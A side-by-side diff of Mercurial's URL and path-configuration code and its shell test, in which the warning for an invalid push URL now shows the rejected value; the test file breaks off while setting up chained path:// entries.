571 else:
572 # Try to resolve as a local path or URI.
572 # Try to resolve as a local path or URI.
573 path = try_path(ui, source)
573 path = try_path(ui, source)
574 if path is not None:
574 if path is not None:
575 urls.append(path.rawloc)
575 urls.append(path.rawloc)
576 else:
576 else:
577 urls.append(source)
577 urls.append(source)
578 if len(urls) != 1:
578 if len(urls) != 1:
579 if source is None:
579 if source is None:
580 msg = _("default path points to %d urls while %s only supports one")
580 msg = _("default path points to %d urls while %s only supports one")
581 msg %= (len(urls), action)
581 msg %= (len(urls), action)
582 else:
582 else:
583 msg = _("path points to %d urls while %s only supports one: %s")
583 msg = _("path points to %d urls while %s only supports one: %s")
584 msg %= (len(urls), action, source)
584 msg %= (len(urls), action, source)
585 raise error.Abort(msg)
585 raise error.Abort(msg)
586 return parseurl(urls[0], default_branches)
586 return parseurl(urls[0], default_branches)
587
587
588
588
589 def get_clone_path(ui, source, default_branches=()):
589 def get_clone_path(ui, source, default_branches=()):
590 """return the `(origsource, path, branch)` selected as clone source"""
590 """return the `(origsource, path, branch)` selected as clone source"""
591 urls = []
591 urls = []
592 if source is None:
592 if source is None:
593 if b'default' in ui.paths:
593 if b'default' in ui.paths:
594 urls.extend(p.rawloc for p in ui.paths[b'default'])
594 urls.extend(p.rawloc for p in ui.paths[b'default'])
595 else:
595 else:
596 # XXX this is the historical default behavior, but that is not
596 # XXX this is the historical default behavior, but that is not
597 # great, consider breaking BC on this.
597 # great, consider breaking BC on this.
598 urls.append(b'default')
598 urls.append(b'default')
599 else:
599 else:
600 if source in ui.paths:
600 if source in ui.paths:
601 urls.extend(p.rawloc for p in ui.paths[source])
601 urls.extend(p.rawloc for p in ui.paths[source])
602 else:
602 else:
603 # Try to resolve as a local path or URI.
603 # Try to resolve as a local path or URI.
604 path = try_path(ui, source)
604 path = try_path(ui, source)
605 if path is not None:
605 if path is not None:
606 urls.append(path.rawloc)
606 urls.append(path.rawloc)
607 else:
607 else:
608 urls.append(source)
608 urls.append(source)
609 if len(urls) != 1:
609 if len(urls) != 1:
610 if source is None:
610 if source is None:
611 msg = _(
611 msg = _(
612 "default path points to %d urls while only one is supported"
612 "default path points to %d urls while only one is supported"
613 )
613 )
614 msg %= len(urls)
614 msg %= len(urls)
615 else:
615 else:
616 msg = _("path points to %d urls while only one is supported: %s")
616 msg = _("path points to %d urls while only one is supported: %s")
617 msg %= (len(urls), source)
617 msg %= (len(urls), source)
618 raise error.Abort(msg)
618 raise error.Abort(msg)
619 url = urls[0]
619 url = urls[0]
620 clone_path, branch = parseurl(url, default_branches)
620 clone_path, branch = parseurl(url, default_branches)
621 return url, clone_path, branch
621 return url, clone_path, branch
622
622
623
623
624 def parseurl(path, branches=None):
624 def parseurl(path, branches=None):
625 '''parse url#branch, returning (url, (branch, branches))'''
625 '''parse url#branch, returning (url, (branch, branches))'''
626 u = url(path)
626 u = url(path)
627 branch = None
627 branch = None
628 if u.fragment:
628 if u.fragment:
629 branch = u.fragment
629 branch = u.fragment
630 u.fragment = None
630 u.fragment = None
631 return bytes(u), (branch, branches or [])
631 return bytes(u), (branch, branches or [])
632
632
633
633
634 class paths(dict):
634 class paths(dict):
635 """Represents a collection of paths and their configs.
635 """Represents a collection of paths and their configs.
636
636
637 Data is initially derived from ui instances and the config files they have
637 Data is initially derived from ui instances and the config files they have
638 loaded.
638 loaded.
639 """
639 """
640
640
641 def __init__(self, ui):
641 def __init__(self, ui):
642 dict.__init__(self)
642 dict.__init__(self)
643
643
644 home_path = os.path.expanduser(b'~')
644 home_path = os.path.expanduser(b'~')
645
645
646 for name, value in ui.configitems(b'paths', ignoresub=True):
646 for name, value in ui.configitems(b'paths', ignoresub=True):
647 # No location is the same as not existing.
647 # No location is the same as not existing.
648 if not value:
648 if not value:
649 continue
649 continue
650 _value, sub_opts = ui.configsuboptions(b'paths', name)
650 _value, sub_opts = ui.configsuboptions(b'paths', name)
651 s = ui.configsource(b'paths', name)
651 s = ui.configsource(b'paths', name)
652 root_key = (name, value, s)
652 root_key = (name, value, s)
653 root = ui._path_to_root.get(root_key, home_path)
653 root = ui._path_to_root.get(root_key, home_path)
654
654
655 multi_url = sub_opts.get(b'multi-urls')
655 multi_url = sub_opts.get(b'multi-urls')
656 if multi_url is not None and stringutil.parsebool(multi_url):
656 if multi_url is not None and stringutil.parsebool(multi_url):
657 base_locs = stringutil.parselist(value)
657 base_locs = stringutil.parselist(value)
658 else:
658 else:
659 base_locs = [value]
659 base_locs = [value]
660
660
661 paths = []
661 paths = []
662 for loc in base_locs:
662 for loc in base_locs:
663 loc = os.path.expandvars(loc)
663 loc = os.path.expandvars(loc)
664 loc = os.path.expanduser(loc)
664 loc = os.path.expanduser(loc)
665 if not hasscheme(loc) and not os.path.isabs(loc):
665 if not hasscheme(loc) and not os.path.isabs(loc):
666 loc = os.path.normpath(os.path.join(root, loc))
666 loc = os.path.normpath(os.path.join(root, loc))
667 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
667 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
668 paths.append(p)
668 paths.append(p)
669 self[name] = paths
669 self[name] = paths
670
670
671 for name, old_paths in sorted(self.items()):
671 for name, old_paths in sorted(self.items()):
672 new_paths = []
672 new_paths = []
673 for p in old_paths:
673 for p in old_paths:
674 new_paths.extend(_chain_path(p, ui, self))
674 new_paths.extend(_chain_path(p, ui, self))
675 self[name] = new_paths
675 self[name] = new_paths
676
676
677 def getpath(self, ui, name, default=None):
677 def getpath(self, ui, name, default=None):
678 """Return a ``path`` from a string, falling back to default.
678 """Return a ``path`` from a string, falling back to default.
679
679
680 ``name`` can be a named path or locations. Locations are filesystem
680 ``name`` can be a named path or locations. Locations are filesystem
681 paths or URIs.
681 paths or URIs.
682
682
683 Returns None if ``name`` is not a registered path, a URI, or a local
683 Returns None if ``name`` is not a registered path, a URI, or a local
684 path to a repo.
684 path to a repo.
685 """
685 """
686 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
686 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
687 self.deprecwarn(msg, '6.0')
687 self.deprecwarn(msg, '6.0')
688 # Only fall back to default if no path was requested.
688 # Only fall back to default if no path was requested.
689 if name is None:
689 if name is None:
690 if not default:
690 if not default:
691 default = ()
691 default = ()
692 elif not isinstance(default, (tuple, list)):
692 elif not isinstance(default, (tuple, list)):
693 default = (default,)
693 default = (default,)
694 for k in default:
694 for k in default:
695 try:
695 try:
696 return self[k][0]
696 return self[k][0]
697 except KeyError:
697 except KeyError:
698 continue
698 continue
699 return None
699 return None
700
700
701 # Most likely empty string.
701 # Most likely empty string.
702 # This may need to raise in the future.
702 # This may need to raise in the future.
703 if not name:
703 if not name:
704 return None
704 return None
705 if name in self:
705 if name in self:
706 return self[name][0]
706 return self[name][0]
707 else:
707 else:
708 # Try to resolve as a local path or URI.
708 # Try to resolve as a local path or URI.
709 path = try_path(ui, name)
709 path = try_path(ui, name)
710 if path is None:
710 if path is None:
711 raise error.RepoError(_(b'repository %s does not exist') % name)
711 raise error.RepoError(_(b'repository %s does not exist') % name)
712 return path.rawloc
712 return path.rawloc
713
713
714
714
715 _pathsuboptions = {}
715 _pathsuboptions = {}
716
716
717
717
718 def pathsuboption(option, attr):
718 def pathsuboption(option, attr):
719 """Decorator used to declare a path sub-option.
719 """Decorator used to declare a path sub-option.
720
720
721 Arguments are the sub-option name and the attribute it should set on
721 Arguments are the sub-option name and the attribute it should set on
722 ``path`` instances.
722 ``path`` instances.
723
723
724 The decorated function will receive as arguments a ``ui`` instance,
724 The decorated function will receive as arguments a ``ui`` instance,
725 ``path`` instance, and the string value of this option from the config.
725 ``path`` instance, and the string value of this option from the config.
726 The function should return the value that will be set on the ``path``
726 The function should return the value that will be set on the ``path``
727 instance.
727 instance.
728
728
729 This decorator can be used to perform additional verification of
729 This decorator can be used to perform additional verification of
730 sub-options and to change the type of sub-options.
730 sub-options and to change the type of sub-options.
731 """
731 """
732
732
733 def register(func):
733 def register(func):
734 _pathsuboptions[option] = (attr, func)
734 _pathsuboptions[option] = (attr, func)
735 return func
735 return func
736
736
737 return register
737 return register
738
738
739
739
740 @pathsuboption(b'pushurl', b'pushloc')
740 @pathsuboption(b'pushurl', b'pushloc')
741 def pushurlpathoption(ui, path, value):
741 def pushurlpathoption(ui, path, value):
742 u = url(value)
742 u = url(value)
743 # Actually require a URL.
743 # Actually require a URL.
744 if not u.scheme:
744 if not u.scheme:
745 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
745 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
746 msg %= (path.name, value)
747 ui.warn(msg)
746 return None
748 return None
747
749
748 # Don't support the #foo syntax in the push URL to declare branch to
750 # Don't support the #foo syntax in the push URL to declare branch to
749 # push.
751 # push.
750 if u.fragment:
752 if u.fragment:
751 ui.warn(
753 ui.warn(
752 _(
754 _(
753 b'("#fragment" in paths.%s:pushurl not supported; '
755 b'("#fragment" in paths.%s:pushurl not supported; '
754 b'ignoring)\n'
756 b'ignoring)\n'
755 )
757 )
756 % path.name
758 % path.name
757 )
759 )
758 u.fragment = None
760 u.fragment = None
759
761
760 return bytes(u)
762 return bytes(u)
761
763
762
764
763 @pathsuboption(b'pushrev', b'pushrev')
765 @pathsuboption(b'pushrev', b'pushrev')
764 def pushrevpathoption(ui, path, value):
766 def pushrevpathoption(ui, path, value):
765 return value
767 return value
766
768
767
769
768 @pathsuboption(b'multi-urls', b'multi_urls')
770 @pathsuboption(b'multi-urls', b'multi_urls')
769 def multiurls_pathoption(ui, path, value):
771 def multiurls_pathoption(ui, path, value):
770 res = stringutil.parsebool(value)
772 res = stringutil.parsebool(value)
771 if res is None:
773 if res is None:
772 ui.warn(
774 ui.warn(
773 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
775 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
774 )
776 )
775 res = False
777 res = False
776 return res
778 return res
777
779
778
780
779 def _chain_path(base_path, ui, paths):
781 def _chain_path(base_path, ui, paths):
780 """return the result of "path://" logic applied on a given path"""
782 """return the result of "path://" logic applied on a given path"""
781 new_paths = []
783 new_paths = []
782 if base_path.url.scheme != b'path':
784 if base_path.url.scheme != b'path':
783 new_paths.append(base_path)
785 new_paths.append(base_path)
784 else:
786 else:
785 assert base_path.url.path is None
787 assert base_path.url.path is None
786 sub_paths = paths.get(base_path.url.host)
788 sub_paths = paths.get(base_path.url.host)
787 if sub_paths is None:
789 if sub_paths is None:
788 m = _(b'cannot use `%s`, "%s" is not a known path')
790 m = _(b'cannot use `%s`, "%s" is not a known path')
789 m %= (base_path.rawloc, base_path.url.host)
791 m %= (base_path.rawloc, base_path.url.host)
790 raise error.Abort(m)
792 raise error.Abort(m)
791 for subpath in sub_paths:
793 for subpath in sub_paths:
792 path = base_path.copy()
794 path = base_path.copy()
793 if subpath.raw_url.scheme == b'path':
795 if subpath.raw_url.scheme == b'path':
794 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
796 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
795 m %= (path.rawloc, path.url.host)
797 m %= (path.rawloc, path.url.host)
796 raise error.Abort(m)
798 raise error.Abort(m)
797 path.url = subpath.url
799 path.url = subpath.url
798 path.rawloc = subpath.rawloc
800 path.rawloc = subpath.rawloc
799 path.loc = subpath.loc
801 path.loc = subpath.loc
800 if path.branch is None:
802 if path.branch is None:
801 path.branch = subpath.branch
803 path.branch = subpath.branch
802 else:
804 else:
803 base = path.rawloc.rsplit(b'#', 1)[0]
805 base = path.rawloc.rsplit(b'#', 1)[0]
804 path.rawloc = b'%s#%s' % (base, path.branch)
806 path.rawloc = b'%s#%s' % (base, path.branch)
805 suboptions = subpath._all_sub_opts.copy()
807 suboptions = subpath._all_sub_opts.copy()
806 suboptions.update(path._own_sub_opts)
808 suboptions.update(path._own_sub_opts)
807 path._apply_suboptions(ui, suboptions)
809 path._apply_suboptions(ui, suboptions)
808 new_paths.append(path)
810 new_paths.append(path)
809 return new_paths
811 return new_paths
810
812
811
813
812 class path(object):
814 class path(object):
813 """Represents an individual path and its configuration."""
815 """Represents an individual path and its configuration."""
814
816
815 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
817 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
816 """Construct a path from its config options.
818 """Construct a path from its config options.
817
819
818 ``ui`` is the ``ui`` instance the path is coming from.
820 ``ui`` is the ``ui`` instance the path is coming from.
819 ``name`` is the symbolic name of the path.
821 ``name`` is the symbolic name of the path.
820 ``rawloc`` is the raw location, as defined in the config.
822 ``rawloc`` is the raw location, as defined in the config.
821 ``pushloc`` is the raw locations pushes should be made to.
823 ``pushloc`` is the raw locations pushes should be made to.
822
824
823 If ``name`` is not defined, we require that the location be a) a local
825 If ``name`` is not defined, we require that the location be a) a local
824 filesystem path with a .hg directory or b) a URL. If not,
826 filesystem path with a .hg directory or b) a URL. If not,
825 ``ValueError`` is raised.
827 ``ValueError`` is raised.
826 """
828 """
827 if ui is None:
829 if ui is None:
828 # used in copy
830 # used in copy
829 assert name is None
831 assert name is None
830 assert rawloc is None
832 assert rawloc is None
831 assert suboptions is None
833 assert suboptions is None
832 return
834 return
833
835
834 if not rawloc:
836 if not rawloc:
835 raise ValueError(b'rawloc must be defined')
837 raise ValueError(b'rawloc must be defined')
836
838
837 # Locations may define branches via syntax <base>#<branch>.
839 # Locations may define branches via syntax <base>#<branch>.
838 u = url(rawloc)
840 u = url(rawloc)
839 branch = None
841 branch = None
840 if u.fragment:
842 if u.fragment:
841 branch = u.fragment
843 branch = u.fragment
842 u.fragment = None
844 u.fragment = None
843
845
844 self.url = u
846 self.url = u
845 # the url from the config/command line before dealing with `path://`
847 # the url from the config/command line before dealing with `path://`
846 self.raw_url = u.copy()
848 self.raw_url = u.copy()
847 self.branch = branch
849 self.branch = branch
848
850
849 self.name = name
851 self.name = name
850 self.rawloc = rawloc
852 self.rawloc = rawloc
851 self.loc = b'%s' % u
853 self.loc = b'%s' % u
852
854
853 self._validate_path()
855 self._validate_path()
854
856
855 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
857 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
856 self._own_sub_opts = {}
858 self._own_sub_opts = {}
857 if suboptions is not None:
859 if suboptions is not None:
858 self._own_sub_opts = suboptions.copy()
860 self._own_sub_opts = suboptions.copy()
859 sub_opts.update(suboptions)
861 sub_opts.update(suboptions)
860 self._all_sub_opts = sub_opts.copy()
862 self._all_sub_opts = sub_opts.copy()
861
863
862 self._apply_suboptions(ui, sub_opts)
864 self._apply_suboptions(ui, sub_opts)
863
865
864 def copy(self):
866 def copy(self):
865 """make a copy of this path object"""
867 """make a copy of this path object"""
866 new = self.__class__()
868 new = self.__class__()
867 for k, v in self.__dict__.items():
869 for k, v in self.__dict__.items():
868 new_copy = getattr(v, 'copy', None)
870 new_copy = getattr(v, 'copy', None)
869 if new_copy is not None:
871 if new_copy is not None:
870 v = new_copy()
872 v = new_copy()
871 new.__dict__[k] = v
873 new.__dict__[k] = v
872 return new
874 return new
873
875
874 def _validate_path(self):
876 def _validate_path(self):
875 # When given a raw location but not a symbolic name, validate the
877 # When given a raw location but not a symbolic name, validate the
876 # location is valid.
878 # location is valid.
877 if (
879 if (
878 not self.name
880 not self.name
879 and not self.url.scheme
881 and not self.url.scheme
880 and not self._isvalidlocalpath(self.loc)
882 and not self._isvalidlocalpath(self.loc)
881 ):
883 ):
882 raise ValueError(
884 raise ValueError(
883 b'location is not a URL or path to a local '
885 b'location is not a URL or path to a local '
884 b'repo: %s' % self.rawloc
886 b'repo: %s' % self.rawloc
885 )
887 )
886
888
887 def _apply_suboptions(self, ui, sub_options):
889 def _apply_suboptions(self, ui, sub_options):
888 # Now process the sub-options. If a sub-option is registered, its
890 # Now process the sub-options. If a sub-option is registered, its
889 # attribute will always be present. The value will be None if there
891 # attribute will always be present. The value will be None if there
890 # was no valid sub-option.
892 # was no valid sub-option.
891 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
893 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
892 if suboption not in sub_options:
894 if suboption not in sub_options:
893 setattr(self, attr, None)
895 setattr(self, attr, None)
894 continue
896 continue
895
897
896 value = func(ui, self, sub_options[suboption])
898 value = func(ui, self, sub_options[suboption])
897 setattr(self, attr, value)
899 setattr(self, attr, value)
898
900
899 def _isvalidlocalpath(self, path):
901 def _isvalidlocalpath(self, path):
900 """Returns True if the given path is a potentially valid repository.
902 """Returns True if the given path is a potentially valid repository.
901 This is its own function so that extensions can change the definition of
903 This is its own function so that extensions can change the definition of
902 'valid' in this case (like when pulling from a git repo into a hg
904 'valid' in this case (like when pulling from a git repo into a hg
903 one)."""
905 one)."""
904 try:
906 try:
905 return os.path.isdir(os.path.join(path, b'.hg'))
907 return os.path.isdir(os.path.join(path, b'.hg'))
906 # Python 2 may return TypeError. Python 3, ValueError.
908 # Python 2 may return TypeError. Python 3, ValueError.
907 except (TypeError, ValueError):
909 except (TypeError, ValueError):
908 return False
910 return False
909
911
910 @property
912 @property
911 def suboptions(self):
913 def suboptions(self):
912 """Return sub-options and their values for this path.
914 """Return sub-options and their values for this path.
913
915
914 This is intended to be used for presentation purposes.
916 This is intended to be used for presentation purposes.
915 """
917 """
916 d = {}
918 d = {}
917 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
919 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
918 value = getattr(self, attr)
920 value = getattr(self, attr)
919 if value is not None:
921 if value is not None:
920 d[subopt] = value
922 d[subopt] = value
921 return d
923 return d
@@ -1,515 +1,515
1 $ hg init a
1 $ hg init a
2 $ hg clone a b
2 $ hg clone a b
3 updating to branch default
3 updating to branch default
4 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
4 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
5 $ cd a
5 $ cd a
6
6
7 with no paths:
7 with no paths:
8
8
9 $ hg paths
9 $ hg paths
10 $ hg paths unknown
10 $ hg paths unknown
11 not found!
11 not found!
12 [1]
12 [1]
13 $ hg paths -Tjson
13 $ hg paths -Tjson
14 [
14 [
15 ]
15 ]
16
16
17 with paths:
17 with paths:
18
18
19 $ echo '[paths]' >> .hg/hgrc
19 $ echo '[paths]' >> .hg/hgrc
20 $ echo 'dupe = ../b#tip' >> .hg/hgrc
20 $ echo 'dupe = ../b#tip' >> .hg/hgrc
21 $ echo 'expand = $SOMETHING/bar' >> .hg/hgrc
21 $ echo 'expand = $SOMETHING/bar' >> .hg/hgrc
22 $ hg in dupe
22 $ hg in dupe
23 comparing with $TESTTMP/b
23 comparing with $TESTTMP/b
24 no changes found
24 no changes found
25 [1]
25 [1]
26 $ cd ..
26 $ cd ..
27 $ hg -R a in dupe
27 $ hg -R a in dupe
28 comparing with $TESTTMP/b
28 comparing with $TESTTMP/b
29 no changes found
29 no changes found
30 [1]
30 [1]
31 $ cd a
31 $ cd a
32 $ hg paths
32 $ hg paths
33 dupe = $TESTTMP/b#tip
33 dupe = $TESTTMP/b#tip
34 expand = $TESTTMP/a/$SOMETHING/bar
34 expand = $TESTTMP/a/$SOMETHING/bar
35 $ SOMETHING=foo hg paths
35 $ SOMETHING=foo hg paths
36 dupe = $TESTTMP/b#tip
36 dupe = $TESTTMP/b#tip
37 expand = $TESTTMP/a/foo/bar
37 expand = $TESTTMP/a/foo/bar
38 #if msys
38 #if msys
39 $ SOMETHING=//foo hg paths
39 $ SOMETHING=//foo hg paths
40 dupe = $TESTTMP/b#tip
40 dupe = $TESTTMP/b#tip
41 expand = /foo/bar
41 expand = /foo/bar
42 #else
42 #else
43 $ SOMETHING=/foo hg paths
43 $ SOMETHING=/foo hg paths
44 dupe = $TESTTMP/b#tip
44 dupe = $TESTTMP/b#tip
45 expand = /foo/bar
45 expand = /foo/bar
46 #endif
46 #endif
47 $ hg paths -q
47 $ hg paths -q
48 dupe
48 dupe
49 expand
49 expand
50 $ hg paths dupe
50 $ hg paths dupe
51 $TESTTMP/b#tip
51 $TESTTMP/b#tip
52 $ hg paths -q dupe
52 $ hg paths -q dupe
53 $ hg paths unknown
53 $ hg paths unknown
54 not found!
54 not found!
55 [1]
55 [1]
56 $ hg paths -q unknown
56 $ hg paths -q unknown
57 [1]
57 [1]
58
58
59 formatter output with paths:
59 formatter output with paths:
60
60
61 $ echo 'dupe:pushurl = https://example.com/dupe' >> .hg/hgrc
61 $ echo 'dupe:pushurl = https://example.com/dupe' >> .hg/hgrc
62 $ hg paths -Tjson | sed 's|\\\\|\\|g'
62 $ hg paths -Tjson | sed 's|\\\\|\\|g'
63 [
63 [
64 {
64 {
65 "name": "dupe",
65 "name": "dupe",
66 "pushurl": "https://example.com/dupe",
66 "pushurl": "https://example.com/dupe",
67 "url": "$TESTTMP/b#tip"
67 "url": "$TESTTMP/b#tip"
68 },
68 },
69 {
69 {
70 "name": "expand",
70 "name": "expand",
71 "url": "$TESTTMP/a/$SOMETHING/bar"
71 "url": "$TESTTMP/a/$SOMETHING/bar"
72 }
72 }
73 ]
73 ]
74 $ hg paths -Tjson dupe | sed 's|\\\\|\\|g'
74 $ hg paths -Tjson dupe | sed 's|\\\\|\\|g'
75 [
75 [
76 {
76 {
77 "name": "dupe",
77 "name": "dupe",
78 "pushurl": "https://example.com/dupe",
78 "pushurl": "https://example.com/dupe",
79 "url": "$TESTTMP/b#tip"
79 "url": "$TESTTMP/b#tip"
80 }
80 }
81 ]
81 ]
82 $ hg paths -Tjson -q unknown
82 $ hg paths -Tjson -q unknown
83 [
83 [
84 ]
84 ]
85 [1]
85 [1]
86
86
87 log template:
87 log template:
88
88
89 (behaves as a {name: path-string} dict by default)
89 (behaves as a {name: path-string} dict by default)
90
90
91 $ hg log -rnull -T '{peerurls}\n'
91 $ hg log -rnull -T '{peerurls}\n'
92 dupe=$TESTTMP/b#tip expand=$TESTTMP/a/$SOMETHING/bar
92 dupe=$TESTTMP/b#tip expand=$TESTTMP/a/$SOMETHING/bar
93 $ hg log -rnull -T '{join(peerurls, "\n")}\n'
93 $ hg log -rnull -T '{join(peerurls, "\n")}\n'
94 dupe=$TESTTMP/b#tip
94 dupe=$TESTTMP/b#tip
95 expand=$TESTTMP/a/$SOMETHING/bar
95 expand=$TESTTMP/a/$SOMETHING/bar
96 $ hg log -rnull -T '{peerurls % "{name}: {url}\n"}'
96 $ hg log -rnull -T '{peerurls % "{name}: {url}\n"}'
97 dupe: $TESTTMP/b#tip
97 dupe: $TESTTMP/b#tip
98 expand: $TESTTMP/a/$SOMETHING/bar
98 expand: $TESTTMP/a/$SOMETHING/bar
99 $ hg log -rnull -T '{get(peerurls, "dupe")}\n'
99 $ hg log -rnull -T '{get(peerurls, "dupe")}\n'
100 $TESTTMP/b#tip
100 $TESTTMP/b#tip
101 $ hg log -rnull -T '{peerurls % "{urls|json}\n"}'
101 $ hg log -rnull -T '{peerurls % "{urls|json}\n"}'
102 [{"pushurl": "https://example.com/dupe", "url": "$TESTTMP/b#tip"}]
102 [{"pushurl": "https://example.com/dupe", "url": "$TESTTMP/b#tip"}]
103 [{"url": "$TESTTMP/a/$SOMETHING/bar"}]
103 [{"url": "$TESTTMP/a/$SOMETHING/bar"}]
104
104
105 (sub options can be populated by map/dot operation)
105 (sub options can be populated by map/dot operation)
106
106
107 $ hg log -rnull \
107 $ hg log -rnull \
108 > -T '{get(peerurls, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
108 > -T '{get(peerurls, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
109 url: $TESTTMP/b#tip
109 url: $TESTTMP/b#tip
110 pushurl: https://example.com/dupe
110 pushurl: https://example.com/dupe
111 $ hg log -rnull -T '{peerurls.dupe.pushurl}\n'
111 $ hg log -rnull -T '{peerurls.dupe.pushurl}\n'
112 https://example.com/dupe
112 https://example.com/dupe
113
113
114 (in JSON, it's a dict of urls)
114 (in JSON, it's a dict of urls)
115
115
116 $ hg log -rnull -T '{peerurls|json}\n' | sed 's|\\\\|/|g'
116 $ hg log -rnull -T '{peerurls|json}\n' | sed 's|\\\\|/|g'
117 {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
117 {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
118
118
119 password should be masked in plain output, but not in machine-readable/template
119 password should be masked in plain output, but not in machine-readable/template
120 output:
120 output:
121
121
122 $ echo 'insecure = http://foo:insecure@example.com/' >> .hg/hgrc
122 $ echo 'insecure = http://foo:insecure@example.com/' >> .hg/hgrc
123 $ hg paths insecure
123 $ hg paths insecure
124 http://foo:***@example.com/
124 http://foo:***@example.com/
125 $ hg paths -Tjson insecure
125 $ hg paths -Tjson insecure
126 [
126 [
127 {
127 {
128 "name": "insecure",
128 "name": "insecure",
129 "url": "http://foo:insecure@example.com/"
129 "url": "http://foo:insecure@example.com/"
130 }
130 }
131 ]
131 ]
132 $ hg log -rnull -T '{get(peerurls, "insecure")}\n'
132 $ hg log -rnull -T '{get(peerurls, "insecure")}\n'
133 http://foo:insecure@example.com/
133 http://foo:insecure@example.com/
134
134
135 zeroconf wraps ui.configitems(), which shouldn't crash at least:
135 zeroconf wraps ui.configitems(), which shouldn't crash at least:
136
136
137 $ hg paths --config extensions.zeroconf=
137 $ hg paths --config extensions.zeroconf=
138 dupe = $TESTTMP/b#tip
138 dupe = $TESTTMP/b#tip
139 dupe:pushurl = https://example.com/dupe
139 dupe:pushurl = https://example.com/dupe
140 expand = $TESTTMP/a/$SOMETHING/bar
140 expand = $TESTTMP/a/$SOMETHING/bar
141 insecure = http://foo:***@example.com/
141 insecure = http://foo:***@example.com/
142
142
143 $ cd ..
143 $ cd ..
144
144
145 sub-options for an undeclared path are ignored
145 sub-options for an undeclared path are ignored
146
146
147 $ hg init suboptions
147 $ hg init suboptions
148 $ cd suboptions
148 $ cd suboptions
149
149
150 $ cat > .hg/hgrc << EOF
150 $ cat > .hg/hgrc << EOF
151 > [paths]
151 > [paths]
152 > path0 = https://example.com/path0
152 > path0 = https://example.com/path0
153 > path1:pushurl = https://example.com/path1
153 > path1:pushurl = https://example.com/path1
154 > EOF
154 > EOF
155 $ hg paths
155 $ hg paths
156 path0 = https://example.com/path0
156 path0 = https://example.com/path0
157
157
158 unknown sub-options aren't displayed
158 unknown sub-options aren't displayed
159
159
160 $ cat > .hg/hgrc << EOF
160 $ cat > .hg/hgrc << EOF
161 > [paths]
161 > [paths]
162 > path0 = https://example.com/path0
162 > path0 = https://example.com/path0
163 > path0:foo = https://example.com/path1
163 > path0:foo = https://example.com/path1
164 > EOF
164 > EOF
165
165
166 $ hg paths
166 $ hg paths
167 path0 = https://example.com/path0
167 path0 = https://example.com/path0
168
168
169 :pushurl must be a URL
169 :pushurl must be a URL
170
170
171 $ cat > .hg/hgrc << EOF
171 $ cat > .hg/hgrc << EOF
172 > [paths]
172 > [paths]
173 > default = /path/to/nothing
173 > default = /path/to/nothing
174 > default:pushurl = /not/a/url
174 > default:pushurl = /not/a/url
175 > EOF
175 > EOF
176
176
177 $ hg paths
177 $ hg paths
178 (paths.default:pushurl not a URL; ignoring)
178 (paths.default:pushurl not a URL; ignoring: "/not/a/url")
179 default = /path/to/nothing
179 default = /path/to/nothing
180
180
181 #fragment is not allowed in :pushurl
181 #fragment is not allowed in :pushurl
182
182
183 $ cat > .hg/hgrc << EOF
183 $ cat > .hg/hgrc << EOF
184 > [paths]
184 > [paths]
185 > default = https://example.com/repo
185 > default = https://example.com/repo
186 > invalid = https://example.com/repo
186 > invalid = https://example.com/repo
187 > invalid:pushurl = https://example.com/repo#branch
187 > invalid:pushurl = https://example.com/repo#branch
188 > EOF
188 > EOF
189
189
190 $ hg paths
190 $ hg paths
191 ("#fragment" in paths.invalid:pushurl not supported; ignoring)
191 ("#fragment" in paths.invalid:pushurl not supported; ignoring)
192 default = https://example.com/repo
192 default = https://example.com/repo
193 invalid = https://example.com/repo
193 invalid = https://example.com/repo
194 invalid:pushurl = https://example.com/repo
194 invalid:pushurl = https://example.com/repo
195
195
196 $ cd ..
196 $ cd ..
197
197
198 'file:' disables [paths] entries for clone destination
198 'file:' disables [paths] entries for clone destination
199
199
200 $ cat >> $HGRCPATH <<EOF
200 $ cat >> $HGRCPATH <<EOF
201 > [paths]
201 > [paths]
202 > gpath1 = http://hg.example.com
202 > gpath1 = http://hg.example.com
203 > EOF
203 > EOF
204
204
205 $ hg clone a gpath1
205 $ hg clone a gpath1
206 abort: cannot create new http repository
206 abort: cannot create new http repository
207 [255]
207 [255]
208
208
209 $ hg clone a file:gpath1
209 $ hg clone a file:gpath1
210 updating to branch default
210 updating to branch default
211 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
211 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
212 $ cd gpath1
212 $ cd gpath1
213 $ hg -q id
213 $ hg -q id
214 000000000000
214 000000000000
215
215
216 $ cd ..
216 $ cd ..
217
217
218 Testing path referencing other paths
218 Testing path referencing other paths
219 ====================================
219 ====================================
220
220
221 basic setup
221 basic setup
222 -----------
222 -----------
223
223
224 $ ls -1
224 $ ls -1
225 a
225 a
226 b
226 b
227 gpath1
227 gpath1
228 suboptions
228 suboptions
229 $ hg init chained_path
229 $ hg init chained_path
230 $ cd chained_path
230 $ cd chained_path
231 $ cat << EOF > .hg/hgrc
231 $ cat << EOF > .hg/hgrc
232 > [paths]
232 > [paths]
233 > default=../a
233 > default=../a
234 > other_default=path://default
234 > other_default=path://default
235 > path_with_branch=../branchy#foo
235 > path_with_branch=../branchy#foo
236 > other_branch=path://path_with_branch
236 > other_branch=path://path_with_branch
237 > other_branched=path://path_with_branch#default
